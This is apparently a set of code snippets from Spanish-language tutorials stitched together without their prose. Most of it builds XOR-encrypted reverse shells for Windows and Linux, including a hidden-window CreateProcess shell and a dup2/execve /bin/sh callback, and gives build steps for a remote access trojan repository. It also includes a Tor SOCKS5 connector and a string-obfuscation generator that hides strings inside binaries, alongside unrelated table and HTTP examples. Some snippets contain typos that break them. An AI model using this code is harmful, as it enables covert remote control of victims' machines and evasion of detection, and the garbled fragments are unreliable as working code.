HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
   stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
   
   SECURITY_ATTRIBUTES sa;
   sa.nLength = sizeof(SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor =  nullptr;
   sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
   if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
      //No se pudo crear las tuberias                 
   }

BOOL CreatePipe(
  PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd)  
  PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
);

stdinRd < === > stdinWr
stdoutRd < === > stdoutWr

   PROCESS_INFORMATION pi;
   STARTUPINFO si; 
   GetStartupInfo(&si);
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;
   if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
      //No se pudo invocar la shell                       
   }

   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;

CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)

BOOL CreateProcess(
  LPCWSTR pszImageName,
  LPCWSTR pszCmdLine,
  LPSECURITY_ATTRIBUTES psaProcess,
  LPSECURITY_ATTRIBUTES psaThread,
  BOOL fInheritHandles,
  DWORD fdwCreate,
  LPVOID pvEnvironment,
  LPWSTR pszCurDir,
  LPSTARTUPINFOW psiStartInfo,
  LPPROCESS_INFORMATION pProcInfo
);

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}

while(EstaCorriendoLaShell){
	char buffer[1024];
	recv(sckSocket, buffer, 1024, 0);
	std::string strCmd = Xor(std::string(buffer));
   DWORD longitud = strCmd.length();
   DWORD bytesEscritos = 0;
	if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
		//Error escribiendo a la tuberia
		EstaCorriendoLaShell = false;
		break;
	}
}

while(EstaCorriendoLaShell){
	char cBuffer[512];
	DWORD bytesLeidos = 0;
	if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
		if(bytesLeidos > 0){
			ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
		} else {
			//Todavia no hay nada
			Sleep(100);
			continue;
		}
		std::string strCmd = Xor(std::string(cBuffer));
		int iLen = strCmd.length();
		send(sckSocket, strCmd.c_str(), iLen, 0);
	} else {
		//PeekNamedPipe error
		EstaCorriendoLaShell = false;
		break;
	}
}

ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);

git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git

std::string strPassword = "$up3rP@sSw0rD";

if(Cli->Connect("127.0.0.1", "1337")){

Server *Srv = new Server(1337, "$up3rP@sSw0rD");

PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)

git pull

pkg install openssl openssl-tool make git nano

git clone https://github.com/d3adlym1nd/unnamed_rat.git

//Si se quiere salida de texto con color
#define _COLOR

//Idioma del programa, comentar/descomentar como se requiera
#define ES
//#define EN

//Descomentar lo siguiente
#define _TERMUX

//Maximo de clientes a manejar
#define Max_Clients 10

make

openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes

./server 31337

git clone https://github.com/d3adlym1nd/unnamed_rat.git

   #Debian
   sudo apt-get install openssl openssl-dev
   #Arch
   sudo pacman -S openssl

   #Opcional si las notificaciones de escritorio se habilitaran en el servidor
   #Debian
   sudo apt-get install libnotify-dev
   #Arch
   sudo pacman -S libnotify

   #OS puede ser Windows/Linux
   cd Server/OS/
   openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes
   make

   //para habilitar/deshabilitar salida por pantalla comentar/descomentar lo siguiente
   #define _DEBUG

   Cli->Connect("YOUR HOST", "PORT")

pacman -Syu

pacman -S mingw-w64-x86_64-toolchain

./server 8888

./Client 127.0.0.1 8888

Aqui algunas filas no contienen datos suficientes asi que se modifican para ajustarse
 *========================================================*
 | col1   | colum id 2 | col3   | column4 | col5   | col6 | 
 *========================================================*
 | row1-1 | row1-2     | col1-3 | col1-4  | --     | --   |    <----   Ajustada
 *========================================================*
 | row2-1 | row2-2     | row2-3 | row2-4  | --     | --   |    <----   Ajustada
 *========================================================*
 | row3-1 | row3-2     | row3-3 | row3-4  | row3-5 | aa   |  
 *========================================================*
 | row4-1 | row4-2     | row4-3 | row4-4  | --     | --   |    <----   Ajustada
 *========================================================*
 | row5-1 | row5-2     | row5-3 | row5-4  | --     | --   |    <----   Ajustada
 *========================================================*


Aqui la cantidad de cabeceras no es suficiente, entonces se adapta
 *=================================================*
 | col1   | colum id 2 | col3   | column4 | --     | 
 *=================================================*
 | row1-1 | row1-2     | col1-3 | col1-4  | --     | 
 *=================================================*
 | row2-1 | row2-2     | row2-3 | row2-4  | --     | 
 *=================================================*
 | row3-1 | row3-2     | row3-3 | row3-4  | row3-5 |    <----   Las demas se adaptan a esta
 *=================================================*
 | row4-1 | row4-2     | row4-3 | row4-4  | --     | 
 *=================================================*
 | row5-1 | --         | --     | --      | --     | 
 *=================================================*


 *=========================================*
 | 1 | colum id 2 | c3   | c4     | --     | 
 *=========================================*
 | 1 | row1-2     | c3   | col1-4 | --     | 
 *=========================================*
 | 1 | row2-3     | c4   | --     | --     | 
 *=========================================*
 | 1 | row3-2     | c333 | row3-4 | row3-5 | 
 *=========================================*
 | 1 | row4-2     | 43   | row4-4 | --     | 
 *=========================================*
 | 5 | --         | --   | --     | --     | 
 *=========================================*

GET /descargas/archivos/archivo.zip HTTP/1.1
Host: www.website.com
User-Agent: Juanker v2

HTTP/1.1 200 OK
Date: Sat, 09 Dec 2025 03:10:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 80160806
Content-Type: application/zip

HTTP/1.1 200 OK

Date: Sat, 09 Dec 2025 03:10:00 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 80160806

Content-Type: application/zip

HTTP/1.1 200 OK
Date: Sat, 09 Dec 2025 03:10:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 86
Content-type: text/plain

Este es un archivo de texto 
que contiene varias lineas
informacion y mas information

char Packet[] = "GET /descargas/archivos/archivo.zip HTTP/1.1\r\n"\
                "Host: www.website.com\r\n"\
                "User-Agent: Juanker v2\r\n\r\n";

//Se crea el objeto
Downloader down;
//Llamada a la funcion Download con la url como parametro
if(down.Download("http://www.website.com/ruta/al/fichero.rar"){
	std::cout<<"Descarga satisfactoria\n";
}

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 1337

int main(int argc, char *argv[])
{
    struct sockaddr_in server;
    int socket;

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    server.sin_port = htons(REMOTE_PORT);

    socket = socket(AF_INET, SOCK_STREAM, 0);
    connect(socket, (struct sockaddr *)&server, sizeof(server));
    dup2(socket, 0);
    dup2(socket, 1);
    dup2(socket, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

$ nclokita -lp PUERTO

$ cat file.txt | wc -l 

int InPipe[2];
int OutPipe[2];
pipe(InPipe);
pipe(OutPipe)
//Si hay error las funciones retornan -1

pid_t pid = fork();
if(pid == 0){
   //Este es el hijo (child) del proceso que se esta ejecutando
   //el cual a su vez es una copia exacta del proceso excepto el Process ID
} else if(pid > 0) {
   //Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
} else {
   //Si fork no es >= 0 entonces la llamada fallo
}

//Copiamos a stdin el extremo READ-END de InPipe
dup2(InPipe[0], 0);

//Copiamos a stdout el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 1);

//Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 2);

//Se llama la funcion execve con los parametros deseados
//Si quisieramos pasar argumentos al programa se hacen en el array arg
//Ejemplo  char *arg[] = {"arg1", "arg2", "arg2" ...}
char *arg[] = {nullptr};
char *env[] = {nullptr};
//Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
execve("/bin/sh", arg, env);
exit(0);

//Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0] 
//el cual es el extremo que lee del proceso antes ejecutado
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker 
while(1){
   //recibimos los datos del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0); 
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      //escribimos al extremo WRITE-END de InPipe
      write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
   }
}
th1.join();

void LeerStdout(int Pipe){
   chad CmdBuffer[256];
   int iRet = 0, iRet2 = 0;
   while(1){
      //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
      iRet = read(Pipe, &CmdBuffer, 255);
      //Enviamos los datos leidos de stdout/stderr al servidor
      iRet2 = send(Socket, CmdBufer, iRet); 
   }
}

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}

std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker 
while(1){
   //recibimos los datos cifrados del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0); 
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
      //Ahora descifrado contiene el comando descifrado que envio el servidor
      //escribimos al extremo WRITE-END de InPipe el contenido descifrado
      write(InPipe[1], Descifrado.c_str(), Descifrado.length());
   }
}
th1.join();

void LeerStdout(int Pipe){
   chad CmdBuffer[256];    
   int iRet = 0, iRet2 = 0;
    while(1){
       //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
       iRet = read(Pipe, &CmdBuffer, 255);
       std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
       //ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
       //Enviamos los datos cifrados leidos de stdout/stderr al servidor
       iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length()); 
    }
 }

git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git

Cli->Connect("IP", "PUERTO")

Server *Srv = new Server(1337, "aiiiuuudaaaaa");

g++ -Wall -Wextra Client.cpp -o Client -pthread

g++ -Wall -Wextra Server.cpp -o Server -pthread

char buffer[3];
buffer[0] = 0x05;  //Version de socks
buffer[1] = 0x01; //Metodos de autenticacion soportados por el cliente
buffer[2] = 0x00; //Metodo de autenticacion a utilizar : Sin Autenticacion
send(Socket, buffer, 3, 0);

char rbuffer[10];
recv(Socket, rbuffer, 10, 0);
if(rbuffer[1] == 0x00){
   //primera parte de negociacion correctamente
}

char fbuff[256];
memset(fbuff, 0, 256);
fbuff[0] = 0x05;  //version de socks
fbuff[1] = 0x01;  //Codigo de comando
fbuff[2] = 0x00;  //Byte reservado
fbuff[3] = 0x03; //Tipo de direccion del host

short host_port = htons(PORT);                  //convierte el numero de puerto a orden de bytes de red
char host_len = (char)strlen(HOSTNAME);        //Se obtiene la longitud del nombre host en un byte
memcpy(fbuff + 4, &host_len, 1);                //Luego se unen los datos junto con la secuencia anterior
memcpy(fbuff + 5, HOSTNAME, host_len);
memcpy(fbuff + 5 + host_len, &host_port, 2);

send(Socket, fbuff, 7 + host_len, 0);         //Se envia la secuencia de bytes

recv(Socket, rbuffer, 10, 0);
if(rbuffer[1] == 0x00){
    //proceso de negociacion completo
    //Ahora se procede a intercambiar datos con el host de destino 
}

#include<iostream>
#include<cstring>
#include<cstdlib>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netdb.h>
#include<unistd.h>
#include<signal.h>

class TorSocket{
   private:
	int SocketD;
   public:
	int Connect(const char *cHostname, int iPort, const char *torhost = "127.0.0.1", const char *torport = "9050"){
		struct sigaction act;
		memset(&act, 0, sizeof(act));
		act.sa_handler = SIG_IGN;
		act.sa_flags = SA_RESTART;
		sigaction(SIGPIPE, &act, 0);
		struct addrinfo client, *addrs, *addr;
		char rBuffer[10];
		int iReceived = 0;
		memset(&client, 0, sizeof(client));
		client.ai_family = AF_UNSPEC;
		client.ai_socktype = SOCK_STREAM;
		client.ai_protocol = IPPROTO_TCP;
		int iStatus = getaddrinfo(torhost, torport, &client, &addrs);
		if(iStatus!=0){
			std::cout<<"Error getaddrinfo\n";
			return -1;
		}
		for(addr = addrs; addr != nullptr; addr = addr->ai_next){
			if((this->SocketD = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol)) == -1){
				continue;
			}
			if(connect(this->SocketD, addr->ai_addr, addr->ai_addrlen) == -1){
				continue;
			}
			break;
		}
		freeaddrinfo(addrs);
		if(this->SocketD == -1){
			std::cout<<"No se pudo conectar al proxy\n";
			return -1;
		}
		char cByteSequense1[3] = {0x05, 0x01, 0x00}; 
		send(this->SocketD, cByteSequense1, 3, 0);
		iReceived = recv(this->SocketD, rBuffer, 10, 0);
		if(iReceived > 0){
			if(rBuffer[0] != 0x05){   
				std::cout<<"Version de socks invalida\n";
				return -1;
			}
			if(rBuffer[1] == 0x00){
				char cByteSequense2[256];
				memset(cByteSequense2, 0, 256);
				cByteSequense2[0] = 0x05; 
				cByteSequense2[1] = 0x01; 
				cByteSequense2[2] = 0x00; 
				cByteSequense2[3] = 0x03;
				short sHost_Port = htons(iPort);
				char cHost_Len = (char)strlen(cHostname);
				memcpy(cByteSequense2 + 4, &cHost_Len, 1);
				memcpy(cByteSequense2 + 5, cHostname, cHost_Len);
				memcpy(cByteSequense2 + 5 + cHost_Len, &sHost_Port, 2);
				send(this->SocketD, cByteSequense2, 7 + cHost_Len, 0);
				memset(rBuffer, 0, sizeof(rBuffer));
				iReceived = recv(this->SocketD, rBuffer, 10, 0);
				if(rBuffer[1] == 0x00){
					std::cout<<"Conexion satisfatoria\n";
					//Ahora se puede enviar datos atraves de este socket
					return this->SocketD;
				} else {
					return -1;
				}
			}
		} else {
			return -1;
		}
		return -1;
	}

	void CloseSocket(){
		close(this->SocketD);
	}

	int SendData(const char *data, int size){
		return send(this->SocketD, data, size, 0);
	}

	int ReadData(char*& buffer){
		buffer = (char *)malloc(2048);
		unsigned int so_far = 0;
		char u_c[2];
		while(recv(this->SocketD, u_c, 1, 0) > 0){
			if(so_far >= 2048){
				buffer = (char *)realloc(buffer, so_far + 1);
			}
			buffer[so_far++] = u_c[0];
		}
		buffer[so_far] = '\0';
		return so_far;
	}
};

//Simple ejemplo de peticion HTTP a url specificada
int main(int argc, char **argv){
	if(argc < 2){
		std::cout<<argv[0]<<" url\n";
		return 0;
	}
	TorSocket tor;
	char domain[128];
	char *response;
	strncpy(domain, argv[1], 128);
	int stat = tor.Connect(domain, 80);
	if(stat == -1){
		std::cout<<"No se pudo conectar\n";
		return -1;
	}
	std::cout<<"Conectado\n";
	char packet[512];
	snprintf(packet, 512, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", domain);
	if(tor.SendData(packet, strlen(packet)) > 0){
		unsigned int bytes = tor.ReadData(response);
		if(bytes>0){
			std::cout<<response<<"\n\n";
		} else {
			std::cout<<"No se recibio nada\n";
		}
		free(response);
	} else {
		std::cout<<"Error al enviar el paquete\n";
	}
	tor.CloseSocket();
	return 0;
}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>

void HC(const char *input, int len){
     srand(time(NULL));
     char tmpbuff1[10];
     char tmpbuff[10240];
     memset(tmpbuff, '\0', 10240);
     memset(tmpbuff1, '\0', 10);
    //Para generar nombre de variable aleatorio
     char keys[] = {'_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3' ,'4', '5', '6', '7', '8', '9'};
     int i = 0, a = 0, b = 0, c = 1;
     for (; i < 7; i ++){
        tmpbuff1[i] = keys[rand() % 63];
     }
     snprintf(tmpbuff, 50, "unsigned char %s[%i] = { ", tmpbuff1, len);
     for(a = 0, b = 0; a<len; a++){
         b = input[a];
         b ^= 0xEC;
         b ^= a;
         char tmp[50];
         if(a == (len - 1)) {
             snprintf(tmp, 15, "0x%x };", b);
             strncat(tmpbuff, tmp, strlen(tmp));
             break;
         }
         if (c++ == 12){
             snprintf(tmp, 15, "0x%x,\n   ", b);
             strcat(tmpbuff, tmp);
             c = 1;
         }else{
             snprintf(tmp, 15, "0x%x, ", b);
             strcat(tmpbuff, tmp);
         }
     }
     printf("Aqui esta tu codigo\n\n%s\n\n", tmpbuff);
}


/*Funcion para "decifrar" variable y usarla
unsigned char var_name[6] = { 0x9e, 0x8c, 0x80, 0x8b, 0x87, 0x84 };   <<   random
char *new_var = malloc(sizeof(char) * 7);
HCD(var_name, 6, &new_var);
ahora new_var = "random"
*/
void HCD(const char *input, int len, char **outp)
{
    int a = 0, b = 0;
     char outvar[len];
     memset(outvar, '\0', len);
     for(a = 0, b = 0; a<len; a++){
         b = input[a];
         b ^= 0xEC;
         b ^= a;
         strcat(outvar, (char*)&b);
     }
     strncpy(*outp, outvar, len);
}

int main(int argc, char **argv)
{
  HC(argv[1], strlen(argv[1]));
  return 0;
}

#include<iostream>
#include<string>
#include<cstring>
class b64{
   public:
	size_t b64_encoded_size(size_t inlen){
		size_t ret = inlen;
		if(inlen % 3 != 0){
			ret += 3 - (inlen % 3);
		}
		ret /= 3;
		ret *= 4;
		return ret;
	}
	size_t b64_decoded_size(const char *in){
		size_t len, ret, i;
		if(in == nullptr){
			return 0;
		}
		len = std::string(in).length();
		ret = len / 4 * 3;
		for(i = len; i-->0;){
			if(in[i] == '='){
				ret--;
			} else {
				break;
			}
		}
		return ret;
	}
	int b64_valid_char(char c){
        	if (c >= '0' && c <= '9'){
                	return 1;
		}
        	if (c >= 'A' && c <= 'Z'){
                	return 1;
		}
        	if (c >= 'a' && c <= 'z'){
                	return 1;
		}
        	if (c == '+' || c == '/' || c == '='){
                	return 1;
		}
        	return 0;
	}
	char *b64_encode(const unsigned char *in, size_t len){
		const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
		char *out;
		size_t elen, i, j, v;
		if(in == nullptr || len == 0){
			return nullptr;
		}
		elen = b64_encoded_size(len);
		out = new char[elen+1];
		out[elen] = '\0';
		for(i = 0, j = 0; i < len; i += 3, j += 4){
			v = in[i];
			v = i + 1 < len ? v << 8 | in[i+1] : v << 8;
			v = i + 2 < len ? v << 8 | in[i+2] : v << 8;
			out[j]     = b64chars[(v >> 18) & 0x3F];
			out[j + 1] = b64chars[(v >> 12) & 0x3F];
			if(i + 1 < len){
				out[j + 2] = b64chars[(v >> 6) & 0x3F];
			}else{
				out[j + 2] = '=';
			}
			if(i + 2 < len){
				out[j + 3] = b64chars[v & 0x3F];
			}else{
				out[j + 3] = '=';
			}
		}
		return out;
	}

	int b64_decode(const char *in, unsigned char *out, size_t outlen){
		int b64_t[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
        		59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
        		6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
        		21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
        		29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
        		43, 44, 45, 46, 47, 48, 49, 50, 51 };
		size_t len, i, j;
		int v;
		if(in == nullptr || out == nullptr){
			return 0;
		}
		len = std::string(in).length();
		if(outlen < b64_decoded_size(in) || len % 4 != 0){
			return 0;
		}
		for(i = 0; i < len; i++){
			if(!b64_valid_char(in[i])){
				return 0;
			}
		}
		for(i = 0, j = 0; i < len; i += 4, j += 3){
			v = b64_t[in[i] - 43];
			v = (v << 6) | b64_t[in[i + 1] - 43];
			v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64_t[in[i + 2] - 43];
			v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64_t[in[i + 3] - 43];

			out[j] = (v >> 16) & 0xFF;
			if(in[i + 2] != '='){
				out[j + 1] = (v >> 8 ) & 0xFF;
			}
			if(in[i + 3] != '='){
				out[j + 2] = v & 0xFF;
			}
		}
		return 1;
	}
};

class LCipher: public b64{
   private:
	int calc(char c, int complex = 0){
		int tmp = c, count = 0;
		while(1){
			if(count++ == (128+complex)){break;}
			if(tmp++ == 126){ tmp = 32;}
		}
		return tmp;

	}
	int r_calc(char c, int complex = 0){
		int tmp = c, count = 128+complex;
		while(1){
			if(count-- == 0){break;}
			if(tmp-- == 32){tmp = 126;}
		}
		return tmp;
	}
	std::string LOL(const std::string& message){
		std::string final = "";
		int tcplx = 0;
		for(char c : message){
			char tmp = calc(c, ++tcplx);
			for(char x : this->password){
				tmp ^= x;
			}
			final += tmp;
		}
		return final;
	}
	std::string OLO(const std::string& message){
		std::string final = "";
		int tcplx = 0;
		for(char c : message){
			for(char x : this->password){
				c ^= x;
			}
			final += r_calc(c,++tcplx);
		}
		return final;
	}
	char *b64_e(const unsigned char* message){
		int len = std::string((char *)message).length();
		char *out = b64_encode(message, len);
	        return out;
	}
	char *b64_d(const char* message){
		size_t outlen = b64_decoded_size(message);
		unsigned char *output = new unsigned char[outlen];
		b64_decode(message, output, outlen);
		return (char *)output;
	}
	std::string password;
   public:
	LCipher(): password("default"){}
        LCipher(std::string p): password(p){}

	int Cipher(char*& data, char **output){
		char *tmp = b64_e((const unsigned char *)data);
		std::string result = LOL(std::string(tmp));
		delete tmp;
		size_t rlen = result.length();
		*output = new char[rlen + 2];
		if(*output == nullptr){
			return 1;
		}
		memcpy(*output, result.c_str(), rlen);
		*output[rlen-1] = '\0';
		return 0;
	}
	char *UnCipher(const char* data){
		std::string tmp = OLO(std::string((char *)data));
		char *out = b64_d(tmp.data());
		return out;
	}
};

int main(int argc, char **argv){
	LCipher test(argv[2]);
	char *out = nullptr;
	test.Cipher(argv[1], &out);
	char *out2 = test.UnCipher((const char *)out);
	std::cout<<"Original : "<<argv[1]<<'\n';
	std::cout<<"Cipher   : "<<out<<'\n';
	std::cout<<"UnCipher : "<<out2<<'\n';
	delete out;
	delete out2;
	return 0;
}